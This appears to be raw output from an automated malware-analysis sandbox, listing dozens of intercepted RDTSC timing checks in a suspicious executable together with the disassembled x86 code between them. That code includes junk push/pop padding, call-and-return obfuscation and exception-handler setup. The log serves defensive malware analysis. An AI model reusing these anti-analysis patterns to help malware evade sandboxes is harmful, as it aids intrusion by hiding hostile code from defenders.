Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA39FF second address: FA3A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBCF4D53676h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3A0B second address: FA3A12 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3A12 second address: FA3A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007FBCF4D53695h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2120 second address: FE2124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2124 second address: FE212F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE25C8 second address: FE25DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A742h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2715 second address: FE272F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D53684h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE288C second address: FE2896 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBCF475A73Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE334E second address: FE3352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3352 second address: FE3358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3358 second address: FE337C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBCF4D53689h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE374A second address: FE3768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBCF475A736h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCF475A741h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3E5D second address: FE3E7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBCF4D5367Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e jc 00007FBCF4D5367Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3E7B second address: FE3EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 xchg eax, ebx 0x00000006 mov esi, dword ptr [ebp+122D388Ah] 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBCF475A746h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3EA0 second address: FE3EA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3EA5 second address: FE3EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3F70 second address: FE3F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3F74 second address: FE3F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FBCF475A73Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4032 second address: FE4048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D53682h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE42B9 second address: FE42BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8588 second address: FE8598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FBCF4D53676h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8598 second address: FE859E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE859E second address: FE85A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B11 second address: FE9B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B15 second address: FE9B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FBCF4D53685h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B3B second address: FE9B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE77DB second address: FE77EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FBCF4D5368Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDAA1 second address: FEDB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A73Fh 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FBCF475A73Bh 0x00000012 js 00007FBCF475A738h 0x00000018 popad 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D29C9h], ecx 0x00000020 push 00000000h 0x00000022 add bx, 4F87h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FBCF475A738h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov di, 28CEh 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push ebx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c pop ebx 0x0000004d pop eax 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 jnl 00007FBCF475A736h 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB10 second address: FEDB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D53682h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB26 second address: FEDB2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEC3F second address: FEECBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FBCF4D53683h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FBCF4D53678h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007FBCF4D53678h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 push 00000000h 0x00000046 mov di, si 0x00000049 xchg eax, esi 0x0000004a jmp 00007FBCF4D5367Fh 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC8F second address: FEFC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC93 second address: FEFC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFC9D second address: FEFCA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFCA1 second address: FEFD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FBCF4D53687h 0x0000000d nop 0x0000000e or dword ptr [ebp+122D35F3h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FBCF4D53678h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D2033h], edi 0x00000038 xchg eax, esi 0x00000039 jo 00007FBCF4D5368Ch 0x0000003f pushad 0x00000040 jmp 00007FBCF4D53682h 0x00000045 push edx 0x00000046 pop edx 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push edi 0x0000004c jo 00007FBCF4D53676h 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0D34 second address: FF0D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF34FC second address: FF3502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3502 second address: FF350C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCF475A73Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF44D6 second address: FF450B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1FBBh], edx 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 mov ebx, edi 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 add ebx, dword ptr [ebp+122D2189h] 0x0000001d xchg eax, esi 0x0000001e jmp 00007FBCF4D53680h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push edi 0x00000027 pushad 0x00000028 popad 0x00000029 pop edi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF75BF second address: FF7625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FBCF475A738h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D237Ah], edx 0x0000002a push 00000000h 0x0000002c mov di, BE96h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FBCF475A738h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D204Eh], esi 0x00000052 xchg eax, esi 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF85B6 second address: FF8622 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007FBCF4D53680h 0x0000000d pushad 0x0000000e jnl 00007FBCF4D53676h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 nop 0x00000018 movsx ebx, ax 0x0000001b call 00007FBCF4D5367Ch 0x00000020 movzx edi, si 0x00000023 pop edi 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FBCF4D53678h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 movzx ebx, bx 0x00000043 push 00000000h 0x00000045 jmp 00007FBCF4D5367Eh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8622 second address: FF8626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8626 second address: FF863D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53683h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF863D second address: FF8643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8643 second address: FF8647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA4B0 second address: FFA4BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA56A second address: FFA570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB489 second address: FFB4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 ja 00007FBCF475A736h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB4A0 second address: FFB4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB4A4 second address: FFB4B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB4B5 second address: FFB568 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FBCF4D5367Dh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FBCF4D53678h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 movsx edi, ax 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FBCF4D53678h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D1B77h], eax 0x0000004b mov edi, dword ptr [ebp+122D39DEh] 0x00000051 push 00000000h 0x00000053 call 00007FBCF4D53685h 0x00000058 cmc 0x00000059 pop ebx 0x0000005a sub dword ptr [ebp+122D2874h], esi 0x00000060 xchg eax, esi 0x00000061 jmp 00007FBCF4D5367Dh 0x00000066 push eax 0x00000067 pushad 0x00000068 jbe 00007FBCF4D53678h 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FBCF4D5367Dh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC649 second address: FFC64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC64F second address: FFC653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDDBA second address: FEDDD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDDD5 second address: FEDDDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFEE5 second address: FEFEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFEEE second address: FEFF7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D28ACh] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov dword ptr [ebp+122D2C6Ch], edi 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FBCF4D53678h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c jmp 00007FBCF4D53684h 0x00000041 mov edi, 11568362h 0x00000046 mov eax, dword ptr [ebp+122D041Dh] 0x0000004c push FFFFFFFFh 0x0000004e mov ebx, dword ptr [ebp+122D37EEh] 0x00000054 nop 0x00000055 jnl 00007FBCF4D5368Eh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push edx 0x00000060 pop edx 0x00000061 push edi 0x00000062 pop edi 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0F06 second address: FF0F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF46C1 second address: FF46C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5781 second address: FF5785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5785 second address: FF578B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF578B second address: FF5796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FBCF475A736h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003E8C second address: 1003E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003E90 second address: 1003E96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003E96 second address: 1003EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBCF4D53676h 0x0000000a jp 00007FBCF4D53676h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100858C second address: 1008591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008591 second address: 10085B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D5367Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FBCF4D53676h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10085B1 second address: 10085B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10085B5 second address: 10085BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007C8C second address: 1007CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FBCF475A73Fh 0x0000000a push ecx 0x0000000b jmp 00007FBCF475A73Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007FBE second address: 1007FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007FC2 second address: 1007FDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A745h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007FDD second address: 1007FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jbe 00007FBCF4D53676h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FBCF4D53676h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007FF7 second address: 1007FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF778A second address: FF77A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53684h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF77A2 second address: FF77E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A746h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FBCF475A746h 0x00000012 jmp 00007FBCF475A742h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF87FF second address: FF8815 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBCF4D53676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jl 00007FBCF4D53676h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8815 second address: FF881B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF881B second address: FF881F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF971B second address: FF971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF971F second address: FF9737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53684h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
